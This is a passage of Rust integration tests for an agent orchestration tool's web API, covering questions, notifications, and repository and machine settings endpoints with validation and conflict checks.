13087 let list = fx.get("/api/questions").await.json();
13088 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13089
13090 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13091 assert_eq!(res.status, 409, "{}", res.body);
13092 let q = fx.questions().get(&id).unwrap();
13093 assert!(q.status.open());
13094 assert!(q.consult.is_none());
13095 }
13096
13097 #[tokio::test]
13098 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13099 let fx = Fixture::start().await;
13100 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13101 let cfg = Config {
13102 agents: vec![crate::config::AgentSpec {
13103 id: "mock".to_owned(),
13104 kind: crate::config::AgentKind::Command,
13105 model: None,
13106 command: vec!["true".to_owned()],
13107 extra_args: Vec::new(),
13108 env: Default::default(),
13109 prompt_delivery: None,
13110 max_turn_secs: None,
13111 }],
13112 ..Config::default()
13113 };
13114 let talk = crate::talk::begin(
13115 &fx.talks(),
13116 &cfg,
13117 fx.home.path().to_path_buf(),
13118 Some("mock"),
13119 )
13120 .unwrap();
13121 let mut task = Task::new(
13122 "t".to_owned(),
13123 "Do it".to_owned(),
13124 PathBuf::from("/repo/magi"),
13125 Source::Agent {
13126 run: talk.id.clone(),
13127 node: crate::queue::CHAT_NODE.to_owned(),
13128 },
13129 );
13130 task.start("20260902-000000-beef".to_owned());
13131 fx.queue().put(&mut task).unwrap();
13132
13133 let list = fx.get("/api/questions").await.json();
13134 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13135 assert_eq!(
13136 list[0]["choices"],
13137 serde_json::json!(["SQLite", "Redis"]),
13138 "the hand-over is never a choice"
13139 );
13140 fx.questions()
13141 .update(&id, |q| {
13142 q.node = crate::land::APPROVAL_NODE.into();
13143 q.choices = vec!["merge".into(), "hold".into()];
13144 Ok(())
13145 })
13146 .unwrap();
13147 let list = fx.get("/api/questions").await.json();
13148 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13149 assert_eq!(list[0]["can_consult_chat"], true);
13150 fx.questions()
13151 .update(&id, |q| {
13152 q.node = crate::bump::NOTICE_NODE.into();
13153 Ok(())
13154 })
13155 .unwrap();
13156 let list = fx.get("/api/questions").await.json();
13157 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13158 assert_eq!(list[0]["can_consult_chat"], false);
13159 }
13160
13161 #[tokio::test]
13162 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13163 let fx = Fixture::start().await;
13164 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13165 fx.questions()
13166 .update(&id, |q| {
13167 q.node = crate::land::APPROVAL_NODE.into();
13168 q.choices = vec!["merge".into(), "hold".into()];
13169 Ok(())
13170 })
13171 .unwrap();
13172 let cfg = Config {
13173 agents: vec![crate::config::AgentSpec {
13174 id: "mock".to_owned(),
13175 kind: crate::config::AgentKind::Command,
13176 model: None,
13177 command: vec!["true".to_owned()],
13178 extra_args: Vec::new(),
13179 env: Default::default(),
13180 prompt_delivery: None,
13181 max_turn_secs: None,
13182 }],
13183 ..Config::default()
13184 };
13185 let repo = fx.home.path().join("chat-repo");
13187 std::fs::create_dir_all(&repo).unwrap();
13188 let toml = repo.join("magi.toml");
13189 std::fs::write(&toml, "this is = = not toml").unwrap();
13190 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13191 let mut task = Task::new(
13192 "t".to_owned(),
13193 "Do it".to_owned(),
13194 PathBuf::from("/repo/magi"),
13195 Source::Agent {
13196 run: talk.id.clone(),
13197 node: crate::queue::CHAT_NODE.to_owned(),
13198 },
13199 );
13200 task.start("20260902-000000-beef".to_owned());
13201 fx.queue().put(&mut task).unwrap();
13202
13203 let path = format!("/api/questions/{id}/consult");
13204 let res = fx.post(&path, None).await;
13205 assert!(res.status >= 400, "{}", res.body);
13206 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13207 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13208
13209 std::fs::write(&toml, "").unwrap();
13210 let res = fx.post(&path, None).await;
13211 assert_eq!(res.status, 202, "{}", res.body);
13212 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13213 let q = fx.questions().get(&id).unwrap();
13214 assert!(q.status.open());
13215 assert!(q.answer.is_none());
13216 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13217 assert_eq!(res.json()["can_consult_chat"], true);
13218 let list = fx.get("/api/questions").await.json();
13219 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13220 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13221
13222 let res = fx
13223 .post(
13224 &format!("/api/questions/{id}/answer"),
13225 Some(r#"{"choice":"hold"}"#),
13226 )
13227 .await;
13228 assert_eq!(res.status, 200, "{}", res.body);
13229 assert_eq!(res.json()["answer"]["choice"], "hold");
13230 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13231 assert_eq!(res.json()["can_consult_chat"], false);
13232 assert_eq!(fx.post(&path, None).await.status, 409);
13233
13234 let mut talk = fx.talks().get(&talk.id).unwrap();
13235 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13236 let list = fx.get("/api/questions").await.json();
13237 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13238 assert_eq!(list[0]["origin_chat_closed"], true);
13239 assert_eq!(list[0]["can_consult_chat"], false);
13240
13241 fx.talks().remove(&talk.id).unwrap();
13242 let list = fx.get("/api/questions").await.json();
13243 assert_eq!(list[0]["origin_chat"], Value::Null);
13244 assert_eq!(list[0]["origin_chat_closed"], false);
13245 assert_eq!(list[0]["can_consult_chat"], false);
13246 }
13247
13248 #[tokio::test]
13249 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13250 let fx = Fixture::start().await;
13251 let store = fx.questions();
13252 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13253 store.beat(&id, ask::WaiterKind::Asker);
13254 assert_eq!(
13255 fx.get("/api/health").await.json()["questions_needs_owner"],
13256 1
13257 );
13258
13259 let res = fx
13265 .post(
13266 &format!("/api/questions/{id}/say"),
13267 Some(r#"{"body":"why not Postgres?"}"#),
13268 )
13269 .await;
13270 assert_eq!(res.status, 200, "{}", res.body);
13271 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13272 assert_eq!(
13273 fx.get("/api/health").await.json()["questions_needs_owner"],
13274 0,
13275 "waiting on the agent is not waiting on the owner"
13276 );
13277
13278 let mut q = store.get(&id).expect("get");
13282 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13283 .expect("reply");
13284 store.put(&mut q).expect("put");
13285 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13286 assert_eq!(
13287 fx.get("/api/health").await.json()["questions_needs_owner"],
13288 1,
13289 "the agent's reply is what should light the banner back up"
13290 );
13291 }
13292
13293 #[tokio::test]
13294 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13295 let fx = Fixture::start().await;
13296 let store = fx.questions();
13297
13298 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13299 let res = fx
13300 .post(
13301 &format!("/api/questions/{empty_id}/say"),
13302 Some(r#"{"body":" "}"#),
13303 )
13304 .await;
13305 assert_eq!(res.status, 400, "{}", res.body);
13306
13307 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13308 let mut answered = store.get(&answered_id).expect("get");
13309 answered
13310 .answer(Answer::Choice("SQLite".to_owned()))
13311 .expect("answer");
13312 store.put(&mut answered).expect("put");
13313 let res = fx
13314 .post(
13315 &format!("/api/questions/{answered_id}/say"),
13316 Some(r#"{"body":"still there?"}"#),
13317 )
13318 .await;
13319 assert_eq!(res.status, 409, "{}", res.body);
13320
13321 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13322 let mut abandoned = store.get(&abandoned_id).expect("get");
13323 abandoned.abandon("timed out");
13324 store.put(&mut abandoned).expect("put");
13325 let res = fx
13326 .post(
13327 &format!("/api/questions/{abandoned_id}/say"),
13328 Some(r#"{"body":"still there?"}"#),
13329 )
13330 .await;
13331 assert_eq!(res.status, 409, "{}", res.body);
13332 }
13333
13334 #[tokio::test]
13335 async fn an_answer_the_question_does_not_offer_is_refused() {
13336 let fx = Fixture::start().await;
13337 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13338 let path = format!("/api/questions/{id}/answer");
13339
13340 for body in [
13341 r#"{"choice":"Postgres"}"#,
13342 r#"{"text":"whatever you think"}"#,
13343 r#"{"choice":"Redis","text":"both"}"#,
13344 r#"{}"#,
13345 ] {
13346 let res = fx.post(&path, Some(body)).await;
13347 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13348 assert!(res.json()["error"].is_string(), "{}", res.body);
13349 }
13350 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13352 }
13353
13354 #[tokio::test]
13355 async fn a_free_text_question_takes_text_and_not_a_choice() {
13356 let fx = Fixture::start().await;
13357 let id = ask(&fx, "What should the flag be called?", &[]);
13358 fx.questions().beat(&id, ask::WaiterKind::Asker);
13359 let path = format!("/api/questions/{id}/answer");
13360
13361 assert_eq!(
13362 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13363 400
13364 );
13365 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13366 assert_eq!(res.status, 200, "{}", res.body);
13367 assert_eq!(res.json()["answer"]["text"], "--json");
13368 }
13369
13370 #[tokio::test]
13371 async fn an_unknown_question_is_a_json_404() {
13372 let fx = Fixture::start().await;
13373 let res = fx
13374 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13375 .await;
13376 assert_eq!(res.status, 404, "{}", res.body);
13377 assert!(res.json()["error"].is_string());
13378 }
13379
13380 #[tokio::test]
13381 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13382 let fx = Fixture::start().await;
13383 let questions = Questions::at(fx.home.path().join("questions"));
13384 let store = Notices::at(fx.home.path().join("notifications"));
13385 let mut q = ask::Question::new(
13386 "t1".into(),
13387 "conduct".into(),
13388 "conductor".into(),
13389 "Continue?".into(),
13390 String::new(),
13391 Vec::new(),
13392 );
13393 questions.put(&mut q).unwrap();
13394 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13395 n.covered_by = Some(q.id.clone());
13396 let n = store.raise(n).unwrap();
13397 let listed = fx.get("/api/notifications").await.json();
13398 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13399 questions
13400 .update(&q.id, |q| {
13401 q.abandon("run gone");
13402 Ok(())
13403 })
13404 .unwrap();
13405 let listed = fx.get("/api/notifications").await.json();
13406 assert!(listed["items"][0]["answerable_question"].is_null());
13407 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13408 assert!(
13409 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13410 .unwrap()
13411 .contains("answerable_question")
13412 );
13413 }
13414
13415 #[tokio::test]
13416 async fn notifications_list_read_dismiss_and_health_agree() {
13417 let fx = Fixture::start().await;
13418 let store = Notices::at(fx.home.path().join("notifications"));
13419 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13420 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13421
13422 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13423 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13424
13425 store
13426 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13427 .unwrap();
13428 let health = fx.get("/api/health").await.json();
13429 assert_eq!(health["notifications_unread"], 2);
13430 assert_ne!(
13431 health["notifications_rev"], rev0,
13432 "the badge must move live"
13433 );
13434
13435 let listed = fx.get("/api/notifications").await.json();
13436 assert_eq!(listed["unread"], 2);
13437 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13438 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13439
13440 let read = fx
13441 .post(&format!("/api/notifications/{}/read", a.id), None)
13442 .await;
13443 assert_eq!(read.status, 200, "{}", read.body);
13444 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13445
13446 let gone = fx
13447 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13448 .await;
13449 assert_eq!(gone.status, 200, "{}", gone.body);
13450 let listed = fx.get("/api/notifications").await.json();
13451 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13452 assert_eq!(listed["unread"], 0);
13453
13454 store.raise(Notice::info("x", "again")).unwrap();
13455 let all = fx.post("/api/notifications/read-all", None).await;
13456 assert_eq!(all.status, 200, "{}", all.body);
13457 assert_eq!(all.json()["marked"], 1);
13458 assert_eq!(
13459 fx.get("/api/health").await.json()["notifications_unread"],
13460 0
13461 );
13462
13463 let missing = fx.post("/api/notifications/nope/read", None).await;
13464 assert_eq!(missing.status, 404, "{}", missing.body);
13465 assert!(missing.json()["error"].is_string());
13466 }
13467
13468 #[tokio::test]
13475 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13476 let f = Fixture::start().await;
13477
13478 let res = f
13479 .post(
13480 "/api/queue",
13481 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13482 )
13483 .await;
13484
13485 assert_eq!(
13486 res.status, 405,
13487 "POST /api/queue must not be a route: {}",
13488 res.body
13489 );
13490 assert!(
13491 f.queue().list().is_empty(),
13492 "a task filed by a route that does not exist must not reach the disk"
13493 );
13494 assert_eq!(f.get("/api/queue").await.status, 200);
13497 }
13498
13499 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13501 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13502 .expect("checkout dir");
13503 }
13504
13505 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13507
13508 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13509 let tmp = TempDir::new().expect("tempdir");
13510 let repo = tmp.path().join("repo");
13511 std::fs::create_dir_all(&repo).expect("repo dir");
13512 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13513 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13514 if let Some(text) = machine_toml {
13515 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13516 std::fs::write(&machine, text).expect("machine toml");
13517 }
13518 (tmp, repo, machine)
13519 }
13520
13521 async fn settings_checkout(path: &FsPath, text: &str) {
13522 std::fs::create_dir_all(path).unwrap();
13523 std::fs::write(path.join("magi.toml"), text).unwrap();
13524 for args in [
13525 vec!["init", "-b", "main"],
13526 vec!["add", "magi.toml"],
13527 vec![
13528 "-c",
13529 "user.name=Test",
13530 "-c",
13531 "user.email=test@example.invalid",
13532 "commit",
13533 "-m",
13534 "fixture",
13535 ],
13536 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13537 vec![
13538 "symbolic-ref",
13539 "refs/remotes/origin/HEAD",
13540 "refs/remotes/origin/main",
13541 ],
13542 ] {
13543 crate::git::git(path, &args).await.unwrap();
13544 }
13545 }
13546
13547 #[tokio::test]
13548 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13549 let (tmp, repo, machine) =
13550 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13551 let root = tmp.path().join("roots");
13552 let selected = root.join("host/owner/selected");
13553 settings_checkout(
13554 &selected,
13555 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13556 )
13557 .await;
13558 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13559 let before = std::fs::read(&machine).unwrap();
13560 let ui = Arc::new(
13561 Ui::new(
13562 Queue::at(tmp.path().join("queue")),
13563 Questions::at(tmp.path().join("questions")),
13564 Talks::at(tmp.path().join("talks")),
13565 tmp.path().join("runs"),
13566 tmp.path().to_path_buf(),
13567 repo.clone(),
13568 )
13569 .with_machine_config(Some(machine.clone())),
13570 );
13571 let query = || {
13572 Query(SettingsQuery {
13573 repo: Some(selected.clone()),
13574 })
13575 };
13576 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13577 assert!(v.error.is_none(), "{:?}", v.error);
13578 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13579 assert_eq!(conductor.source, "repo");
13580 assert_eq!(
13581 conductor.machine_value,
13582 Some(toml::Value::String("a".into()))
13583 );
13584 assert!(!conductor.editable);
13585 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13586 assert_eq!(
13587 judges.count.as_ref().unwrap().machine_value,
13588 Some(toml::Value::Integer(1))
13589 );
13590 assert!(
13591 !v.roles
13592 .iter()
13593 .find(|r| r.key == "reviewers")
13594 .unwrap()
13595 .editable
13596 );
13597 let unknown = || {
13598 Query(SettingsQuery {
13599 repo: Some(tmp.path().to_path_buf()),
13600 })
13601 };
13602 assert_eq!(
13603 settings_get(State(ui.clone()), unknown())
13604 .await
13605 .unwrap_err()
13606 .status,
13607 StatusCode::UNPROCESSABLE_ENTITY
13608 );
13609 let body = || {
13610 Ok(Json(RolesBody {
13611 revision: v.revision.clone(),
13612 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13613 counts: Default::default(),
13614 }))
13615 };
13616 assert_eq!(
13617 settings_put_roles(State(ui.clone()), unknown(), body())
13618 .await
13619 .unwrap_err()
13620 .status,
13621 StatusCode::UNPROCESSABLE_ENTITY
13622 );
13623 assert_eq!(std::fs::read(&machine).unwrap(), before);
13624 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13625 .await
13626 .unwrap();
13627 assert_eq!(
13628 saved.repo,
13629 selected.canonicalize().unwrap().display().to_string()
13630 );
13631 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13632 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13633 let fresh = root.join("host/owner/fresh");
13635 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13636 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13637 .await
13638 .unwrap();
13639 assert_eq!(fresh_view.repositories.len(), 3);
13640 }
13641
13642 #[tokio::test]
13643 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13644 let (tmp, repo, machine) = settings_dirs(
13645 "[roles]\nreviewers = [\"a\"]\n",
13646 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13647 );
13648 let root = tmp.path().join("roots");
13649 let selected = root.join("host/owner/selected");
13650 settings_checkout(
13651 &selected,
13652 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13653 )
13654 .await;
13655 let broken = root.join("host/owner/broken");
13656 settings_checkout(&broken, "[roles\nbroken").await;
13657 let machine_text = format!(
13658 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13659 toml::Value::String(root.display().to_string())
13660 );
13661 std::fs::write(&machine, &machine_text).unwrap();
13662 let originals: Vec<_> = [&repo, &selected, &broken]
13663 .iter()
13664 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13665 .collect();
13666 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13667 let default = f.get("/api/settings").await.json();
13668 assert_eq!(
13669 default["repo"],
13670 repo.canonicalize().unwrap().display().to_string()
13671 );
13672 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13673 let query = format!("?repo={}", selected.display());
13674 let res = f.get(&format!("/api/settings{query}")).await;
13675 assert_eq!(res.status, 200, "{}", res.body);
13676 let v = res.json();
13677 assert!(v["error"].is_null(), "{v}");
13678 assert_eq!(v["repositories"], default["repositories"]);
13679 let role = |key: &str| {
13680 v["roles"]
13681 .as_array()
13682 .unwrap()
13683 .iter()
13684 .find(|r| r["key"] == key)
13685 .unwrap()
13686 };
13687 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13688 assert_eq!(role("advisors")["source"], "repo");
13689 assert_eq!(role("advisors")["editable"], false);
13690 assert!(role("advisors")["machine_value"].is_null());
13691 assert_eq!(role("judges")["count"]["value"], 2);
13692 assert_eq!(role("judges")["count"]["machine_value"], 1);
13693 assert_eq!(role("judges")["count"]["source"], "repo");
13694 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13695 assert!(
13696 source.contains("origin/main") && !source.contains("magi/config/"),
13697 "{source}"
13698 );
13699 assert_eq!(
13700 role("reviewers")["editable"],
13701 false,
13702 "default context outside roots must protect its declarations"
13703 );
13704 let body =
13705 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13706 let unknown = format!("?repo={}", tmp.path().display());
13707 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13708 assert_eq!(
13709 f.put(&format!("/api/settings/roles{unknown}"), &body)
13710 .await
13711 .status,
13712 422
13713 );
13714 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13715 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13716 .to_string();
13717 assert_eq!(
13718 f.put(&format!("/api/settings/roles{query}"), &refuse)
13719 .await
13720 .status,
13721 422
13722 );
13723 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13724 assert_eq!(saved.status, 200, "{}", saved.body);
13725 assert_eq!(saved.json()["repo"], v["repo"]);
13726 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13727 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13728 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13729 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13730 }
13731 let error = f
13732 .get(&format!("/api/settings?repo={}", broken.display()))
13733 .await;
13734 assert_eq!(error.status, 200);
13735 assert!(error.json()["error"]["message"].is_string());
13736 assert_eq!(error.json()["repositories"], default["repositories"]);
13737 }
13738
13739 #[tokio::test]
13740 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13741 let (_tmp, repo, machine) =
13742 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13743 let f = Fixture::with_repo_and_machine(repo, machine).await;
13744 let res = f.get("/api/settings").await;
13745 assert_eq!(res.status, 200, "{}", res.body);
13746 let v = res.json();
13747 assert!(v["error"].is_null(), "{v}");
13748 let role = |k: &str| {
13749 v["roles"]
13750 .as_array()
13751 .and_then(|r| r.iter().find(|x| x["key"] == k))
13752 .cloned()
13753 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13754 };
13755 assert_eq!(role("judges")["source"], "machine");
13756 assert_eq!(role("judges")["editable"], true);
13757 assert_eq!(role("implementers")["source"], "default");
13758 let adv = role("advisors");
13759 assert_eq!(adv["fallback"], "judges");
13760 assert!(
13761 adv["seats"]
13762 .as_array()
13763 .is_some_and(|s| s.iter().all(|x| x == "b")),
13764 "{adv}"
13765 );
13766 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13767 assert_eq!(v["agents"][0]["source"], "repo");
13768 }
13769
13770 #[tokio::test]
13771 async fn settings_get_reports_a_config_that_does_not_parse() {
13772 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13773 let f = Fixture::with_repo_and_machine(repo, machine).await;
13774 let res = f.get("/api/settings").await;
13775 assert_eq!(res.status, 200, "{}", res.body);
13776 let v = res.json();
13777 assert!(v["error"]["message"].is_string(), "{v}");
13778 assert!(
13779 v["error"]["path"]
13780 .as_str()
13781 .is_some_and(|p| p.ends_with("magi.toml")),
13782 "{v}"
13783 );
13784 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13785 }
13786
13787 #[tokio::test]
13788 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13789 let (_tmp, repo, machine) = settings_dirs(
13790 SETTINGS_AGENTS,
13791 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13792 );
13793 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13794 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13795 let rev = f.get("/api/settings").await.json()["revision"]
13796 .as_str()
13797 .expect("revision")
13798 .to_owned();
13799 let body = serde_json::json!({
13800 "revision": rev,
13801 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13802 })
13803 .to_string();
13804 let res = f.put("/api/settings/roles", &body).await;
13805 assert_eq!(res.status, 200, "{}", res.body);
13806 let text = std::fs::read_to_string(&machine).expect("machine");
13807 assert_eq!(
13808 text,
13809 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13810 );
13811 assert_eq!(
13812 std::fs::read(repo.join("magi.toml")).expect("read"),
13813 repo_before
13814 );
13815 let again = f.get("/api/settings").await.json();
13816 let judges = again["roles"]
13817 .as_array()
13818 .expect("roles")
13819 .iter()
13820 .find(|r| r["key"] == "judges")
13821 .expect("judges")
13822 .clone();
13823 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13824 let stale = f.put("/api/settings/roles", &body).await;
13826 assert_eq!(stale.status, 409, "{}", stale.body);
13827 }
13828
13829 #[tokio::test]
13830 async fn settings_counts_are_reported_and_saved() {
13831 let (_tmp, repo, machine) = settings_dirs(
13832 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13833 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13834 );
13835 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13836 let v = f.get("/api/settings").await.json();
13837 let count = |v: &serde_json::Value, k: &str| {
13838 v["roles"]
13839 .as_array()
13840 .and_then(|r| r.iter().find(|x| x["key"] == k))
13841 .map(|x| x["count"].clone())
13842 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13843 };
13844 let imp = count(&v, "implementers");
13845 assert_eq!(imp["value"], 2);
13846 assert_eq!(imp["source"], "machine");
13847 assert_eq!(imp["file_key"], "candidates");
13848 assert_eq!(imp["roster_len"], 2);
13849 assert_eq!(imp["backups"], 0);
13850 assert_eq!(count(&v, "judges")["source"], "default");
13851 assert_eq!(count(&v, "advisors")["min"], 0);
13852 assert_eq!(count(&v, "reviewers")["editable"], false);
13853 assert!(
13854 count(&v, "reviewers")["locked_reason"]
13855 .as_str()
13856 .is_some_and(|m| m.contains("graph.reviewers"))
13857 );
13858 assert!(count(&v, "fixer").is_null());
13859 let rev = v["revision"].as_str().expect("revision").to_owned();
13860 let body = serde_json::json!({
13861 "revision": rev,
13862 "roles": { "judges": ["b"] },
13863 "counts": { "implementers": 1, "advisors": 0 }
13864 })
13865 .to_string();
13866 let res = f.put("/api/settings/roles", &body).await;
13867 assert_eq!(res.status, 200, "{}", res.body);
13868 let text = std::fs::read_to_string(&machine).expect("machine");
13869 assert_eq!(
13870 text,
13871 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13872 );
13873 let after = f.get("/api/settings").await.json();
13874 assert_eq!(count(&after, "implementers")["value"], 1);
13875 assert_eq!(count(&after, "implementers")["backups"], 1);
13876 assert_eq!(count(&after, "advisors")["value"], 0);
13877 let before = std::fs::read_to_string(&machine).expect("machine");
13878 let rev = after["revision"].as_str().expect("revision").to_owned();
13879 for counts in [
13880 serde_json::json!({ "judges": 0 }),
13881 serde_json::json!({ "judges": "x" }),
13882 serde_json::json!({ "judges": 2.5 }),
13883 serde_json::json!({ "judges": -1 }),
13884 serde_json::json!({ "reviewers": 3 }),
13885 serde_json::json!({ "bogus": 3 }),
13886 ] {
13887 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13888 let res = f.put("/api/settings/roles", &body).await;
13889 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13890 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13891 }
13892 }
13893
13894 #[tokio::test]
13895 async fn settings_put_refuses_without_touching_the_file() {
13896 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13897 let (_tmp, repo, machine) = settings_dirs(
13898 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13899 Some(machine_text),
13900 );
13901 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13902 let rev = f.get("/api/settings").await.json()["revision"]
13903 .as_str()
13904 .expect("revision")
13905 .to_owned();
13906 for roles in [
13907 serde_json::json!({ "judges": ["nope"] }),
13908 serde_json::json!({ "reviewers": ["b"] }),
13909 serde_json::json!({ "bogus": ["a"] }),
13910 ] {
13911 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13912 let res = f.put("/api/settings/roles", &body).await;
13913 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13914 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13915 assert_eq!(
13916 std::fs::read_to_string(&machine).expect("machine"),
13917 machine_text
13918 );
13919 }
13920 }
13921
13922 #[tokio::test]
13923 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13924 let tmp = TempDir::new().expect("tempdir");
13925 let repo = tmp.path().join("repo");
13926 std::fs::create_dir_all(&repo).expect("repo dir");
13927 let root = tmp.path().join("root");
13928 make_checkout(&root, "github.com", "yukimemi", "magi");
13929 std::fs::write(
13930 repo.join("magi.toml"),
13931 format!(
13932 "[repos]\nroots = [{:?}]\n",
13933 root.to_string_lossy().into_owned()
13934 ),
13935 )
13936 .expect("write magi.toml");
13937
13938 let f = Fixture::with_repo(repo).await;
13939 let res = f.get("/api/repos").await;
13940 assert_eq!(res.status, 200, "{}", res.body);
13941 let list = res.json();
